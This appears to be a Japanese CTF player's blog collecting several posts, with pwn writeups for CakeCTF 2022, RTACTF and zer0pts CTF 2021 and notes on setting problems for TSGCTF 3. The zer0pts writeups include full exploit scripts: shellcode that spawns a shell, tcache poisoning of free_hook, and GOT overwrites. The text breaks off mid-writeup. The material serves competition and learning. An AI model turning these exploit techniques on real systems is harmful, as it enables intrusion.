CakeCTF、ありがとう

CakeCTF 2022 開催、ありがとう

たのしかったです。ありがとうございました。良質で面白い問題ばかり星5つです。

思ったことを羅列するエントリです。

crc32pwn writeup

この問題、非常に綺麗に解けたので、writeup書きます。なのでこのエントリはwriteupです。

問題設定

引数からファイル名の列を受け取って各ファイルのcrc32を計算してくれるバイナリ

pwn@88ce787fe93d:~$ crc32sum /etc/passwd /etc/hostname
/etc/passwd: fda42dee
/etc/hostname: 0a5ac61d

問題環境はシェルが提供されており、permission上crc32sumを用いればflagが読めるようになっている。

問題のCファイルはここにあるのでどうぞ。

github.com

libcは2.31。フラグの長さは53バイト。

方針

内部実装として、 fstat をして st_size を読んで、mallocでその分のサイズのバッファを生成し、そこにファイルの中身を読み出す、となっていて、例えば 名前付きFIFOなどの特殊ファイルは、st_size が0になるので、ここでヒープバッファオーバーフローが起こる。

このバイナリでは、ファイル名を保存するバッファとファイルの中身を保存するバッファの2つを作るので、以下のようなヒープのレイアウトになるように、バッファの名前とファイルの中身を適切な長さを調整する。

┌────────────┐
│   A: 0x20  │
├────────────┤
│   B: 0x20  │
├────────────┤
│            │
│   C: 0x40  │
│            │
├────────────┤
│            │
│   D: 0x40  │
│            │
└────────────┘

残る手順は、

  1. 上の状態を自然に作ると、tcache(0x20)がA->B, 0x40がC -> Dのようになる。ここでfifoをファイルとして与えると malloc(0) が走りこれは0x20のバッファだと思われるので、fifoのファイル名も0x20くらいの長さで与えていると、Bのバッファをオーバーフローできる。
  2. ここで、Cのバッファの大きさを0x20に詐称しつつ、Cのtcacheのリンク先をDからAに変える。
  3. 一度flag.txtを確保すると、tcacheが、[0x20] -> A かつ[0x40] -> Aになる
  4. もう一度flag.txtを読み込むと、フラグの名前がAに書き込まれた後さらに、Aに中身が書き込まれ、ファイル名表示のタイミングで中身が表示される

ペイロード

echo "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
  > /tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

mkfifo /tmp/hoge

crc32sum \
  /////////////////////////////////////////////////////////////////////////////////////////etc/passwd \  #ヒープの調整
  /tmp/hoge \  # A -> Bの生成
  /tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \ # C -> Dの生成
  /tmp/hoge \   # ヒープオーバーフローで[0x40] -> C -> Aにする(以下のAAAA...AQ | base64 -d の結果が来る) 
  flag.txt \    # Cを剥がし、[0x20] -> A, [0x40] -> Aの状態にする
  flag.txt &  # flag.txtを読ませると、Aにflag.txtを読ませた後、Aにさらにflag.txtの中身を書き込むので、ファイル名の表示でリークできる

echo A > /tmp/hoge
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAoQAAAAAAAAAQ | base64 -d > /tmp/hoge

感想

2時間ほどで解くことができて、1st bloodだった*1。賞品が得られるらしく、楽しみ *2

謎メタ読みで、ptr-yudaiの作問だから、ゴリゴリヒープをしなくても解けるようになっていると信じていた人のログ *3

信じるものは救われた

Advanced Player?

ここからその他感想です。

参加しようと思ったら、

This year we have reduced the difficulty level and the number of challenges a little more than in previous years. Advanced players are encouraged to participate solo or in teams with a couple of people.

らしくて、まあ歴は長いしこれに該当するのかもしれないなと思ったが、

  • pwn以外マジで知らん
  • 個人だとモチベが続かない気がする
  • (日曜参加できないので、中途半端に終わりそう)
  • (そもそもadvanced playerではない🙅)

などの理由で、普通に TSG として参加した。

これはちょっとカスで、若いTSGerが解くべき比較的簡単めなpwnの問題も自分が奪い取ってしまうという点があるんですよね、ごめんなさい。

ソロプレイヤーがつよい

順位表を見ると、TSGのすぐ下の3位に superflip(kusano_kさん)をはじめとして、ソロプレイヤーたちが並んでいる

(まあ典型よりとはいえ)多様なジャンルの問題を一人でポンポン解いていける人間、かなり尊敬している... 真のCTFプレイヤーです。

分業制

TSGの人間かなり、binaryを見る人間、cryptoをやる人間、webを見る人間が分かれていがちで(まあこおしいずさんとかは3ジャンルどれも見れたりするだろうが)、特に僕はcrypto、webについて何も分からないので、他のジャンルの問題が残っていると、ぺちぺちたたいたり

ラクルとして人間を利用したり、

令呪を使ったりしている *4

実際CTF参加、チャットしながらわいわいしているのが本質で、これがなくソロでひたすら問題を解くの本当にかなり偉いなという感情が強いんですよね。僕は、CTFプレイヤーではないです。*5

kosenctfxで遊ぶ

上述の理由でCTF中に暇になったので、CakeCTFのスコアサーバーで使われている、kosenctfxについて調べてみました!

これは、 TSGのチーム詳細ページ なんですが、なぜか解いた時刻順に問題が並んでいません。どうしてなのでしょうか?

このCTFは、theoremoonさん謹製、kosenctfxでスコアサーバーがホストされているらしいです。

github.com

みんなでstarボタンを押して開発を応援しよう!

ところで、ソースコードを読んでみると、このページは、kosenctfx/[id].tsx at d2c9c0244031843533f56e8b81eb0382b52ad9c7 · theoremoon/kosenctfx · GitHubにあるファイルにあるようにlodashを用いてクライアント側でソートされているらしいです

            {orderBy(
              Object.entries(teamScore.taskStats).map(([key, taskStat]) => ({
                taskname: key,
                ...taskStat,
              })),
              ["solved_at"],
              ["desc"]
            ).map((task) => (
              <tr key={task.taskname}>
                <td>{task.taskname}</td>
                <td>{task.points}</td>
                <td>{dateFormat(task.time)}</td>
              </tr>
            ))}

よく見てみると、下のコードでは、 task.time を参照しているのに、lodashのorderByには solved_at が渡されているようです。これのせいみたいですね?

いかがでしたでしょうか? ここで終わってもよいのですが、せっかくのCakeCTFをもっと完璧にしたい。自分の環境だけでも完全にすることはできないのでしょうか? そこで、こおしいずさんにどうすればよいか聞いたところ、Google ChromeOverrides という機能を用いると直接スクリプトをいじってパッチすることができるらしいです。勉強になります。Overridesを設定して、

リロードしてみると、、、

ちゃんと時間順になりました、嬉しい!

kosenctfxの開発を陰ながら応援しています。

CTFをしていない

CTF、最近していなくて、まあこれはある意味で意図的なところもあったんですが *6、これだけやらないとさすがにやりたくなる。

Cake CTFくらいの問題を気分良く解くのが体に良いので、健康のためにも来年も開催してください。お願いします。

*1:のを自慢するためにこのブログを書きました

*2:実は30分間くらい、フラグの長さを59文字だと勘違いしていてバグらせていて溶かしておりめちゃくちゃ焦った

*3:実は若干非想定だったらしい? https://twitter.com/pwnyaa/status/1566299698901950465

*4:ちなみに、この問題はLLLではなかったらしい?ので「実現不可能な奇跡」を令呪に使ってしまった。でも解かれたのでオーケーです

*5:ところで後から冷静になって見てみるとちょっと冷めた感情になりますね

*6:DEF CON CTF finalsはスクリプトキディばかりしていて、CTFをしなかったんですよね

SECCON 2021で作問し、運営中ボードゲームをしました。

SECCON 2021で作問し、運営中ボードゲームをしました。楽しかったです。

作問

seccon_tree

Pythonのrefcountに関連したPwnの問題。オタクはすぐ言語処理系関連の問題を作ってしまう。

writeupはhackmdにあります

hackmd.io

dis-me

Pythonのパッカーっぽい問題。っぽいってだけ。 当初は、再帰的に自身を参照するcode objectみたいなのを作ったりしたかったが、これは、marshalが許さなかった(pycで保存できなかった)。残念。 妥協を重ねた結果このような感じに。

writeupはhackmdにあります

hackmd.io

運営中ボードゲーム

BGAに登録して、CTFer各位と遊びました。その他お絵かき系ゲームをいくつかやりました。

感想

楽しかったです。各位とdiscordでわいわいできて十分良かったんですが、来年はオンサイトイベントが開催できると、良いな...

SECCON、僕は楽しいところしかやってない感じなんですが、事務的なところやインフラ周りなど様々な人々の尽力がありギリギリの感じで存在できているみたいな感じだと思っているので、お疲れさまですと最後に言いたいです。

SECCON併設RTACTFで、pwnerとして走りました🏃

走りました。

gyazo.com

動画はここから見れます。

youtu.be

コンテストサイトは(生きていれば):RTACTF 2021

noalloca 156.23 sec

int main() {
  unsigned size;
  char buf[0x80];

  /* Input size */
  printf("size: ");
  scanf("%d%*c", &size);
  if (size > 0x80) {
    puts("*** buffer overflow ***");
    return 1;
  }

  /* Input data */
  printf("data: ");
  readn(buf, size-1);

  return 0;
}

結論としては、size=0のときinteger overflowなんですが、初手人力fuzzerをしているときに+を入れたらバグったのでそのまま走りきりました(後から考えると、意味不明な行動)。比較的素早く解けました。

alloca 275.46 sec

int main() {
  int size;
  char *buf;

  /* Input size */
  printf("size: ");
  scanf("%d%*c", &size);

  /* Input data */
  printf("data: ");
  buf = alloca(size);
  readn(buf, size);

  return 0;
}

一見するとバグが無くねと思って焦りましたが、allocaは負の方向のmitigationはないらしい、そうなんだ。ドキドキしました。-1を入れて、バッファ・オーバーフローすると良いです。

constalloca 673.13 sec

void readn(char *ptr, int size) {
  /* Read data up to `size` bytes into `ptr` */
  for (int i = 0; i != size; i++, ptr++) {
    read(0, ptr, 1);
    if (*ptr == '\n') break;
  }
  *ptr = '\0'; // terminate by null
}

int main() {
  char title[0x18];
  char *content = alloca(0x80);

  /* Input title */
  printf("title: ");
  readn(title, 0x18);

  /* Input content */
  printf("data: ");
  readn(content, 0x80);

  return 0;
}

これはマジで焦りました。まず、main見るとバグがないので。 まあバグがないということは、ということでreadnをおもむろに見ると、readnにoff by one errorがあります。readnは心理的に無視しがちなので怖いですね。

次に、off-by-oneで書き込めるのは0なので、もうこういうことやろwみたいな感じで適当にソルバーを書きます

youtu.be

動画でいうとこの当たりで、シェル取れるスクリプトを書いていたんですね(言い訳)。

ところで、pwn-noobなので、ここでガチャ要素が生まれるということに気づかず(もうこれで解けるように"仕組まれているはず"と思って)動かないので焦ります。HELP

色々ガチャガチャやった結果、やっぱ最初ので良かったんじゃねとなり、そうこうしているとローカルでシェルが取れたので、なんかガチャ要素あるんだっけ〜と思いながら適当にremoteで3回神頼みをしたらフラグが取れたので、良かったということにしました。

speedrunならではのドキドキですね。

https://gist.github.com/moratorium08/d271aae775f978821bd076d0ff7148f1

感想

CTFは普通24時間とか48時間とか潤沢な時間があり、あんまり"時間に焦る"ということは経験しないので(といいつつ、ギリギリになるとやる気が出る問題により結構タイムアタックすることもありますが)、speedrunは競技としてだいぶ違うなとなります。腰を据えてできるかどうかは割とでかい。普通のCTFで解けない問題は能力的に解けないみたいな感じになると思っているんですが、speedrunでは能力的に解けるというだけではダメなので。

この気持ちは、数学の期末試験とか、大学入試的なドキドキですかね。うっかり、誤った方向に掘っていってしまうと終わるのとケアレスミスで時間が潰れるドキドキ感

TSG LIVEでは割と冷やしてきた経験があるのですが、今回はめちゃくちゃな冷えにはならなかったのは良かったなと思います..

TSGCTF 3 個人的ハイライト

まさか謎言語のunsound bugは出ないよね

実は大きなハイライトは大会開催前に来た。

https://twitter.com/pwnyaa/status/1441765054014115849

CatastropheというOCamlのunsound問を作っていたのでとても怖かった。ちょっと媚びた感じの問題に最終的にしたけど振り向いてもらえず振られる

ptr-yudai stable infra / piyopiyo tasks / good support / -48 for ocaml / you shouldn't fool beginners

もうOCaml問は作りません🙅

プロのSREのしごと

詳しいことは博多市とかが書きそうだけど、実はCTF開始当初CTFTimeログインを使った人間のサブミッションが見えたり見えなかったりしてスコアボードが少し壊れたり、CTFTimeログインをした結果404にredirectされると言われたりして謎だった。

ここでプロのSRE(職業がそうなので)であるところのくっきーさんが原因究明をするまでのプロセスが職人技で隣(正確にはDiscord越しだが)で見ていて楽しかった。報告されている不具合とCTFTimeログインの関連及びDBの整合性等から、CTFTime側のemailの設定が空文字列になっている人間がいる場合に起きているらしいことを突き止め、その上でこの問題が起こらないようにCTFdにパッチを当ててデプロイを迅速にしていた。

https://github.com/tsg-ut/CTFd/commit/8351116d925c4d1c42a6a51a404af37879738022

大変そうだが傍から見ていると面白かった

バックエンドが燃えている中みんはやのクイズを作るsmallkirby

実際一日目16~18時は上述の件でかなりバックエンドが燃えていたが、その中で、クイズをもくもくと作り続け、なんなら完成したタイミングで燃えている人間をクイズに誘うなどしていた。さすがにクイズをしている場合ではなかった。

落ち着いてきたところで、smallkirbyプレゼンツのみんはやのクイズを楽しむ

炎上中に作りためてあった60問くらいの問題をやる。 勝ったり負けたりした。

負けた回のスクショはない

Beginner's Webより先にHard問のsolverが出る

ここらへんでBeginner's Webやばいんじゃないかと話題に

Beginner's Webの解法がワザップと話題に

博多市がそうはいってもこれは"beginner"なんだと、TSGerに実演。ブラウザでの操作がワザップに載ってそうと話題になる。

寝る

Surveyを出す前に寝て出した後寝た

起こされる

ptr-yudaiさんからの質問が来たので飛び起きた(正確には電話で起こされた)

keymoonさんがmiscを全部解く

すごい。misc大好きグループTSGと相性が良さそう。

Beginner's Webが22時間半後くらいに解かれる

すごい。実際あれだけシンプルなペイロード、シンプルなアプリケーションでよくこの時間まで残ったなというのもすごいし、酒を飲んだ結果解いたkusanoさんもすごい。

status badge

CTF後にあんまり言及がなくて(僕が作ったわけじゃないけど)悲しい。くっきーさんが、Web問を作るのを犠牲にした代わりに作った

ちなみに、ここすき(なんか全部の問題が出る前に、くっきーさんが寝ちゃって、追加問題に対するステータスバッジが動かないのをmikitさんがなんとか動かしていた図)

上の文章を見せたときのJP3BGYくんの反応

参加者から直電来るとしたら運営ちょっとしたくないな..

"Survey"のおもしろwriteup

mikecat.github.io

普通に知らんかった。どうするのが良いんですかね?

TSGCTF 3 で作問・作問チェックをした問題について

作問

今年はPwnを6問作った。ちなみに接頭語がcだらけなのは気づきましたか?(特に意味はないです)

Beginner's Pwn (beginner) 283 solves

Writeup: https://hackmd.io/@moratorium08/SJiWXXvNF

もともとはCoffeeをBeginner向けに作りかけていたが、想定よりテクい感じになってしまったので、もっとテクい感じではなく、博多市でも解いてくれるような問題でかつpwn感ある問題を目指した(ちなみに忙しくて解いてくれなかった)

本当はBeginner枠はPwnわかる人間でも考えないと分からないし、わからない人間も考えればわかるみたいな問題を出せると理想だが、残念ながらアイデア不足で前者が満たせなかった。

Coffee (easy) 48 solves

Writeup: https://hackmd.io/@moratorium08/ryMcaePVY

ソースコードがとても短いのでもう一回載せちゃお

#include <stdio.h>

int x = 0xc0ffee;
int main(void) {
    char buf[160];
    scanf("%159s", buf);
    if (x == 0xc0ffee) {
        printf(buf);
        x = 0;
    }
    puts("bye");
}

特に話せる話は、無いな

cHeap (easy) 39 solves

Writeup: https://hackmd.io/@moratorium08/BJ3j8-wNK

かなり典型的なheap風水問。zer0ptsの解く速度があまりに速くてさすがに怖かった。

Cling (medium) 5 solves

Writeup: https://hackmd.io/@moratorium08/S1ig4xwVF

Clingで遊んでいたら気づいた事実を元に作った問題。個人的には露骨にclingのevalを呼び出す部分があんまり気に入ってなくて、clingがJITをlazyな感じで、関数を呼び出すときに初めてコンパイルする感じだったらなおよかったなあという感じ。

ところでClingってよく動いてますよね、すごい。

Chat (medium-hard) 1 solve with azaika

Writeup: https://hackmd.io/@moratorium08/Sk7puL84Y

難しめの問題枠。もともとは、std::variantのemplaceを使っていて、クソデカ数を入れると、一個前の選択肢に依らずに例外で落とすことができていたが、azaikaという人間が現れてC++を教えてくれたのでよりバグが込み入った。

そもそものアイデアは、例外吐いて落ちるときstack unwinding起きないんだという驚きから生まれた問題(実際には実装依存だがclang/gccは起きないっぽい)。この挙動あんま知らなかったけど結構怖いと思うんだよね。やはりちゃんと例外はキャッチしないといけないね

Catastrophe (hard) 1 solve

Writeup: https://hackmd.io/@moratorium08/Sk7puL84Y

OCamlのunsound問。ただ、SECCONのときと違いocamloptでネイティブのマシンコードにするのではなくocamlcでバイトコードを吐くようにした。なので最終的にはバイトコードを実行するVMのpwn。

実は2018年頃に一度この形での問題(Obj.magicさえあれば、OCamlインタプリタがPwn可能なのか)というのを作ろうとしてできるだろうけどよくわからないねと思ってやめた経験があるので、実はちょっとエモという話も。

まあもう二度とOCamlを題材にすることはないでしょう。

作問チェック

Rev/Pwn・言語処理系の問題は僕の担当という気持ちで眺めてた。今回は過去2回と比べてもかなりレビューを互いにしたと思う。

lkgit by smallkirby

中間発表に悩まされる中作ったかーびーかーねる問。userfaultfdを"うまく"起こさないといけない問題。 あんまカーネル問ができないので、https://github.com/smallkirby/kernelpwn と https://ptr-yudai.hatenablog.com/ を見ながらスクリプトキディをして解いた。なのであんまり読ませられるコードにはなっていない。

https://gist.github.com/moratorium08/6f62359389d45cab971dbad562380327#file-lkgit-c

smallkirby.hatenablog.com

Beginner's Rev by mikit

最初作問チェックをしたときに比較的想定解通りに解いたので、かえって紛らわしかったかもしれない。gdb謎機能とか使わずに、バイナリパッチして、forkした場合に/dev/nullに吐き出す部分を取り除いた。そうすると、OK/NGの数の変化で前からbrute forceができる。想定はstraceで同様にOK/NGの数を数える方針で、ゴリゴリrevをしなくても綺麗に解けるBeginner's Revにふさわしい問題

https://gist.github.com/moratorium08/6f62359389d45cab971dbad562380327#file-beginners_rev-py

Natural Flag Processing by dai

もともともう少しオートマトンの構造が簡単だったときに一度解いて、その後ネタを知った状態で解き直した。

基本的には、可能なケースをトラックするコードを書けばいい。Colabって便利なんですね

https://gist.github.com/moratorium08/6f62359389d45cab971dbad562380327#file-natural_flag_processing-py

optimized by ishitatsuyuki

ある意味TSGCTF唯一のrev問らしいrev問。やや典型に近かったかもしれない分だけソルバーが出ていた気がする。UPX + 難読化つきのバイナリなので、gdb使ってバイナリを取り出して、IDAで開くときれいに解析してくれた。

あとは、当該処理を元に可能なケースを全探索

https://gist.github.com/moratorium08/6f62359389d45cab971dbad562380327#file-optimized-cpp

Beginner's Web by hakatashi

分からんくて泣いてた。普通にraceだと思っちゃうよね。よくこういう問題が作れるなあ。

Beginner's Crypto by hakatashi

"三つ子素数"についてわかったとき、そっかーという気持ちに

UB sharp by JP3BGY

これは、作問チェック実は結構していたんですが、結局非想定解がいっぱいあった... 申し訳ない。言語問、かなり不可能。出す前にホワイトボックスにするかブラックボックスにするか議論で盛り上がったが、やはり(出すなら)ホワイトボックスしか勝たんなあという気持ちに。

僕が見つけた非想定解は、sanitizerのバグと旧バージョンで可能だった変数の上書き解。実はこの後者に対応するために、当該変数をインスタンス変数にしたのが運のつきだった。直したところに目がいかなくなっていた。

しかし、うまいことGetTypeをしてAssemblyを取り出してReflection頑張る解はレビュー中普通に見つけられておらず、これは普通に駄目だった。

感想

CTF開始前は割と胃が痛かったし、そもそも準備がとてもしんどかった。ただ、よくわからんけど結局開催後は楽しかったという気持ちだけが残るんですよね。

来年、、あると、いいですね?

zer0pts CTF 2021 writeup

zer0pts CTF writeup

zer0pts CTFにTSGとして参加して、7th位でした。私はもっぱらpwnの問題ばかり解いていました。Pwnの問題しかほとんど見ていませんが、非本質的なパートが排除されていて、Pwnに集中できる良い問題が揃っていてよかったです。

f:id:moratorium08:20210308214615p:plain
順位

実はCTFを開催した場合にwriteupを書いてもらえると嬉しいことを認識していて、今回はせっかくなので感想のつもりで書こうと思います。 なお、もう既に公式で質の良いwriteup が存在しているので、基本的にはそちらを参照するのが良いとは思います。

Not Beginner's Stack (warmup, pwn)

warmupということで、初心者向けにFOR_BEGINNERS.mdと題した文章が添付されていました。内容は、関数呼び出しの仕組みの一般論と今回の問題の題意についてです。初心者なので当然この文章を一通り読んでから解きはじめました。

問題のプログラムについて要約すると、一般的な関数呼び出しでは、スタック上に戻りアドレスが保存されるのに対して、今回は、bss上に別途「関数呼び出しテーブル」を確保しておき、callに対応するタイミングで戻りアドレスをテーブルに保存、retに対応するタイミングでテーブルを検索して次にジャンプするべき先を取り戻す、というふうになっているようです。

バイナリを開くと自明なBoFを含む関数vulnと

vuln:
;; char buf[0x100];
  enter 0x100, 0
;; write(1, "Data: ", 6);
  mov edx, 6
  mov esi, msg_data
  xor edi, edi
  inc edi
  call write
;; read(0, buf, 0x1000);
  mov edx, 0x1000               ; [!] vulnerability
  lea rsi, [rbp-0x100]
  xor edi, edi
  call read
;; return;
  leave
  ret

バグの無いnotvuln

notvuln:
;; char buf[0x100];
  enter 0x100, 0
;; vuln();
  call vuln
;; write(1, "Data: ", 6);
  mov edx, 6
  mov esi, msg_data
  xor edi, edi
  inc edi
  call write
;; read(0, buf, 0x100);
  mov edx, 0x100
  lea rsi, [rbp-0x100]
  xor edi, edi
  call read
;; return 0;
  xor eax, eax
  ret

が定義されていて、プログラム自体はnotvulnを実行するという形になっています(vuln関数を内部で呼び出すのだからnotvulnが言うほど脆弱性が無いと言って良いのかわからないですけど)。 checksecをすると

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH   Symbols     FORTIFY Fortified   Fortifiable FILE
No RELRO        No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   24) Symbols   No    0       0       chall

のようになっています。問題は、retアドレスがスタックに無いのでBoFができない点です。どうしましょう。

答えは、スタック上に退避されているrbpを書き換えると、nonvuln内のreadで lea rsi, [rbp-0x100] と書かれている部分でrbpが任意の値にできる、つまり、任意書き込みが可能です。書き込む先は当然、例の関数テーブルで良くて、notvulnの "戻りアドレス" を今から一緒に流し込むシェルコードの先頭に向ければそれでシェルが取れます。zer0pts{1nt3rm3d14t3_pwn3r5_l1k3_2_0v3rwr1t3_s4v3d_RBP}

N = 4
target_table = 0x600234
target_addr = 0x600234 + 0x8 * N

shellcode = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'

victim = target_table + 0x100
wait_for_attach()
rs(p64(victim) * (0x200//8))
rs(p64(target_addr) * N +  shellcode)
interactive()

これがPoCです(完全版)。簡単な問題ですがfirst bloodでした✌

safe vector

C++のバイナリです。嫌ですね。でもソースコードがあると... 嬉しい

template<typename T>
class safe_vector: public std::vector<T> {
public:
  void wipe() {
    std::vector<T>::resize(0);
    std::vector<T>::shrink_to_fit();
  }

  T& operator[](int index) {
    int size = std::vector<T>::size();
    if (size == 0) {
      throw "index out of bounds";
    }
    return std::vector<T>::operator[](index % size);
  }
};

上のようなstd::vectorを継承したクラスのインスタンスvecが渡されて、push_back, pop_back, load, store, wipeができます。上述のクラスは、インデックスアクセスで配列外参照を検知できるようにする意図で作られたもののようです。

ところで、C言語のmodは、負の値 % 正の値は負の値になるという、(比較的)有名な話があって、indexに負の値を与えるとindex % sizeは負の値になります。配列外参照ができますね(JavaScriptとかもこの流儀に従っていて、一方でPythonRubyは数学的によくある方の剰余になっているはずです)。

あとはヒープ風水です。

  • heap leakやlibc leakが適切なサイズまでvectorを生やして行けば得られます
  • tcache poisoningでfree_hookを得たいですが、vectorは2倍2倍に大きくなっていって、微妙に上の方で作られた小さいtcacheに届きません。
  • そこで、vectorの中にfake chunkを作って、freeするときに小さいものっぽく誤認させると、届きます。
for i in range(16):
    push_back(i)

heap_base = (load(-9) << 32) + (load(-10)) - 0x10
print(hex(heap_base))

for i in range(0x400 - 16):
    push_back(i+1)
libc_base = (load(-515) << 32) + (load(-514)) - 0x10 - 0x1ebbd0
print(hex(libc_base))


wipe()

for i in range(64):
    push_back(i)

store(-2, 0x51)

storeword(18, 0x110 - 0x50 + 1)

wait_for_attach()
for i in range(64):
    push_back(64 + i)

system = 0x55410 + libc_base
free_hook = 0x1eeb28 + libc_base - 0x8
storeword(-68, free_hook)

wipe()

for i in range(16):
    push_back(i)

store(-2, 0x111)

wipe()


for i in range(8):
    print(i)
    push_back(i)
storeword(0, 29400045130965551)
storeword(2, system)

wait_for_attach()
push_back(9)


interactive()

以上がPoCです(完全版)。これもローカルでフラグが取れたときはfirst bloodだったんですが、サーバーが日本から遠くてタイムアウトまでに間に合わず、AWSインスタンス作ってpwntools入れてなどをしてフラグを取ったところ、second bloodになってしまいました... 残念。結構脳死PoCなのでもうちょい頑張れば効率化できたかもしれません。

OneShot

main関数をそのまま貼ると

int main() {
  int *arr = NULL, n = 0, i = 0;

  printf("n = ");
  scanf("%d", &n);
  if (n >= 0x100)
    exit(1);

  arr = calloc(n, sizeof(int));
  printf("i = ");
  scanf("%d", &i);

  printf("arr[%d] = ", i);
  scanf("%d", &arr[i]);
  puts("Done!");

  return 0;
}

です。これで問題になるんだからすごいですね。先にchecksecを確認しておくと

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH   Symbols     FORTIFY Fortified   Fortifiable FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   70) Symbols   No    0       1       chall

です。Partial Relro + No PIEです。匂いますね。

一見すると、得られるバッファがheapにあるんだから何もできないじゃん、という感じに見えるんですが、callocにクソデカい値を入れるとNULLが帰ってくるということを思い出すと、scanf("%d", &arr[i]) で任意アドレス書き込みができるということが分かります。先程確認したようにGOT書き換えが可能かつ、GOTのアドレスが固定なので、とりあえずGOTを書き換えましょう。書き換える先はもちろんputsで、このまま終わってしまっては困るので、とりあえず再びmainに戻ってくるようにmainに書き換えます。無限ループの完成です。

こっからはまた†風水†です。とにかく今何としても知りたいのはlibcのアドレスです。これが取れれば、calloc -> systemにGOT上で書き換えた上で、calloc("/bin/sh\x00")ができます。どうすればいいでしょう?

ところでlibcのアドレスが拾えそうな場所は限られていて、具体的には上で実は示さなかった以下のsetup関数になります

__attribute__((constructor))
void setup() {
  alarm(60);
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
}

この中でsetbufの引数に渡されているstdinは、libcのアドレスを指しています。この値をリークしたいです。ちなみにsetbufのGOTをprintfに変えるというのではリークできません。というのもstdinのポインタの指し先は残念ながらlibcのアドレスではないからです。 つまり、やりたいのは、stdinのポインタを整数として解釈して表示させる機能 printf("%p", p)pにこのポインタを突っ込んだ上で、printfを実行する、みたいなことです。よく見直してみるとそのような機能がこのプログラムにはあって、具体的には、printf("arr[%d] = ", i); です。こんな余計な表示しているんだから怪しいですよね。

配られたバイナリをディスアセンブルしてみると

  4007d4:    89 c6                   mov    %eax,%esi
  4007d6:   48 8d 3d 14 01 00 00     lea    0x114(%rip),%rdi        # 4008f1 <_IO_stdin_used+0x11>
  4007dd:   b8 00 00 00 00          mov    $0x0,%eax
  4007e2:   e8 19 fe ff ff         callq  400600 <printf@plt>

などとなっています。一方で、setupの関数のディスアセンブル

  400830:    48 8b 05 39 08 20 00    mov    0x200839(%rip),%rax        # 601070 <stdin@@GLIBC_2.2.5>
  400837:   be 00 00 00 00          mov    $0x0,%esi
  40083c:   48 89 c7                mov    %rax,%rdi
  40083f:   e8 ac fd ff ff          callq  4005f0 <setbuf@plt>

のようになっています。よく見てみるとstdinのポインタをraxに一度入れてくれています。そのうえで、上のアセンブリを見ると、ちょうど第二引数にraxの値を入れていますね?

ただ一つ困ったことがあります。setbufのGOTを当該の0x4007d4に書き換えて、puts -> setupに書き換えて、実行すると、スタックアラインメントの問題で(16byte alignになっていることをprintfが要求する)プログラムが異常終了してしまいます。これを回避するために、"二度"ずらすということをします。setup内の途中に直接飛べばこれを回避できます。

def modify(pos, val):
    rs(-1)
    rs(pos // 4)
    rs(val)

def modify8(pos, val):
    modify(pos, val & 0xffffffff)
    modify(pos + 4, val >> 32)

modify(puts_got, main_addr)

modify8(exit_got, 0x0000000000400830)
modify8(setbuf_got, nazo)

#wait_for_attach()
#libc_base = just_u64(s)
#print(hex(libc_base))

rs(300)
recvuntil('arr[')
s = recvuntil(']')
print(s)
libc_lower = int(s)
system_lower = libc_lower - 0x196570
print(hex(libc_lower), hex(system_lower))
rs('+')


modify8(exit_got, ret)
modify8(binsh, u64("/bin/sh\x00"))

modify(calloc_got, system_lower)


wait_for_attach()
rs(str(binsh))

interactive()

以上がPoCです(完全版)。これはsecond bloodでした。 ちなみに実は上述でprintfのリークした後のscanfでは書き込み先のポインタがvalidではないので適当な数を入力するとセグフォで落ちますが、これは、+などを入れることでスルーしてもらうことができます。

stopwatch

これはプログラムが長いので、挙動は実行の様子から説明します

What is your name?
> hello
How many times do you want to try?
> 100
-=-=-=-= CHALLENGE 001 =-=-=-=-
Time[sec]: 1
Stop the timer as close to 1.000000 seconds as possible!
Press ENTER to start / stop the timer.

Timer started.

Timer stopped.
Faster by 0.245760 sec!
Play again? (Y/n) Y
-=-=-=-= CHALLENGE 002 =-=-=-=-
Time[sec]: 1
Stop the timer as close to 1.000000 seconds as possible!
Press ENTER to start / stop the timer.

Timer started.

Timer stopped.
Slower by 0.044928 sec!
Play again? (Y/n) n
-=-=-=-= RESULT =-=-=-=-
Name: hello
Best Score: 0.044928

名前とゲームをする回数を最初に入力し、各ゲームで、「x秒間隔でエンターを2度押せるかな?」ゲームをすることができます。上がその様子です。各ゲームの終了時に続けるかどうかが表示されます。ゲーム終了時には名前とベストスコアが表示されます。

実はこの問題は自明なBoFが二箇所あります。特に重要な方を上げると

int ask_again(void) {
  char buf[0x10];
  printf("Play again? (Y/n) ");
  scanf("%s", buf);
  readuntil('\n');
  if (buf[0] == 'n' || buf[0] == 'N')
    return 0;
  else
    return 1;
}

この関数でscanfをしているところで好きな長さの文字を書くことができます。ただchecksecを確認すると

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH   Symbols     FORTIFY Fortified   Fortifiable FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   80) Symbols   No    0       2       stopwatch/chall

となっていて、Canaryがあり、BoFするだけでは解けません。Canaryがリークしたいです。リークできそうな場所があるでしょうか? 怪しいところは、ここです

void ask_time(double *t) {
  printf("Time[sec]: ");
  scanf("%lf", t);
  readuntil('\n');
}

scanfの返り値を見てエラーハンドリングしていないので、ここで+とか入力すると、何もtに書き込まれず、そのままスルーされます。ask_timeの引数が何だったかを思い出すと、

  double delta, goal, diff;

  ask_time(&goal);

で、未初期化のgoalです。これでスタックの情報がリークできそう!となりますが、そう簡単ではありません。

What is your name?
> uon
How many times do you want to try?
> 100
-=-=-=-= CHALLENGE 001 =-=-=-=-
Time[sec]: +
Stop the timer as close to 0.000000 seconds as possible!
Press ENTER to start / stop the timer.

0、らしいです。canaryがリークできませんでした。ダメですか?実装をよく見てみると

int main(void) {
  unsigned char i, n;
  double *records, best = 31137.31337;

  ask_name();
  n = ask_number();
  records = (double*)alloca(n * sizeof(double));

  for(i = 0; i < n; i++) records[i] = 31137.31337;

